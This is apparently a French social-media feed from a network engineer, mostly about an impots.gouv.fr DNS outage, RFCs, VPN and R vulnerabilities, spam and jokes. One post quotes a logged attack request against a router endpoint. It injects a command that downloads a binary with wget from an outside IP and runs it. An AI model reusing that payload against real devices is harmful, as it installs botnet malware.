bortzmeyer

bortzmeyer, 5 hours ago to random French

Depuis dimanche 12 mai 2024, dans la soirée, plusieurs personnes signalent sur les réseaux sociaux une « panne du site impots.gouv.fr ». Il s'agit d'un problème DNS (Domain Name System) lui-même probablement dû à un problème de routage. Le problème n'affecte que certains opérateurs. Les résolveurs DNS répondent avec le code SERVFAIL (Server Failure) et, s'ils fournissent les EDE (Extended DNS Error), précisent quelque chose comme « NOREACHABLEAUTHORITY ». En effet, impots.gouv.fr n'a que deux serveurs faisant autorité, ce qui est clairement insuffisant pour un domaine aussi critique et, pire, tous les deux sont dans le même AS (Autonomous System), le 34177 (l'opérateur Celeste). Un problème de routage entre l'opérateur où se trouve votre résolveur DNS et Celeste et paf, plus d'impots.gouv.fr. Vu par les sondes RIPE Atlas, voici la situation au matin du lundi 13 mai :

% blaeu-resolve --requested 200 --country FR --ipv4 --type A  impots.gouv.fr
[145.242.11.100] : 125 occurrences 
[ERROR: SERVFAIL] : 61 occurrences 
Test #71358106 done at 2024-05-13T06:48:09Z

On voit qu'environ le tiers des sondes RIPE Atlas en France ont un problème à résoudre ce nom.

bortzmeyer, 20 hours ago to random French

"GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+sshdbot%3B+wget+http%3A%2F%2F14.225.204.172%2Fhelp+-O+sshdbot%3B+chmod+777+sshdbot%3B+.%2Fsshdbot+tplink%3B+rm+-rf+sshdbot%60)

Ya une faille dans OpenWRT ?

bortzmeyer, 21 hours ago to random French

RFC 9562: Universally Unique IDentifiers (UUIDs)

Ce #RFC normalise les #UUID, une famille d'identificateurs uniques, obtenus sans registre central. Il remplace l'ancienne norme, le RFC 4122, avec pas mal de nouveautés et un RFC complètement refait.

https://www.bortzmeyer.org/9562.html

bortzmeyer, 2 days ago to random French

Lu chez un artisan, peint au mur : « ceux qui croivent font erreur ».

bortzmeyer, 2 days ago to random French

Le Soleil est bien énervé depuis avant-hier. Attendez-vous à ce que les liens radio déconnent.
https://www.swpc.noaa.gov/news/media-advisory-noaa-forecasts-severe-solar-storm-media-availability-scheduled-friday-may-10
gemini://gemini.bortzmeyer.org/presto/

bortzmeyer, 2 days ago to random French

C'est dur. On crée une cagnotte ? https://www.francetvinfo.fr/les-jeux-olympiques/paris-2024/paris-2024-la-grande-desillusion-des-particuliers-qui-esperaient-louer-leur-appartement-a-des-prix-vertigineux_6520667.html

bortzmeyer, 3 days ago to random French

Le spam du jour me dit « Nous sommes une plateforme qui peut fournir à Afnic les meillieurs [sic] IT experts de l’Est à distance pour optimiser votre processus de travail et commencer à
vous aider rapidement. Vous pouvez engager qu'un seul développeur ou une
équipe entière d’IT experts avec un manager personnel. »

Des experts de l'Est, c'est le Mordor, la Chine ou la Pologne ?

bortzmeyer, 3 days ago to random French

Oulah, CVE-2024-27322 a l'air méchant. Si vous programmez en R ou bien utilisez des programmes écrits en R, mettez à jour !

bortzmeyer, 3 days ago to random French

Sortie de #PandApache version 3. (Blague ou délire psy, je ne sais pas.) https://dev.to/pykpyky/pandapache3-le-tueur-dapache-580g

bortzmeyer, 3 days ago to random French

Sinon, si vous aimez la science-fiction vintage, la première (?) adaptation télévisée de Flash Gordon est sur YouTube https://www.youtube.com/watch?v=m3peCx8pAIM Garanti 100 % premier degré.

bortzmeyer, 5 days ago to random French

Je ne connaissais pas le RFC 3442. #mercrediConfession

C'est lui qui normalise l'option DHCP 121 qui permet l'attaque #TunnelVision contre les #VPN.

https://arstechnica.com/security/2024/05/novel-attack-against-virtually-all-vpn-apps-neuters-their-entire-purpose/

bortzmeyer, 5 days ago to random French

@Framasoft "Your account [Framagit] has been deactivated" "Les comptes sont désactivés après un an sans activité" C'est du grand n'importe quoi, j'utilise régulièrement #Framagit.

#Gitlab

Natouille, 5 days ago to random French

ypleu bocou

bortzmeyer, 6 days ago to random French

Le spam du jour dit « Je serai ravie de faire votre connaissance. Si par chance, vous avez l'avis de croire en une belle Rencontre contactez-moi directement », ce qui est banal mais plus drôle est qu'il prétend venir du domaine sorbonne-universite.fr (et le nom devant le @ est bien celui d'une chercheuse à l'Université Paris IV - Sorbonne)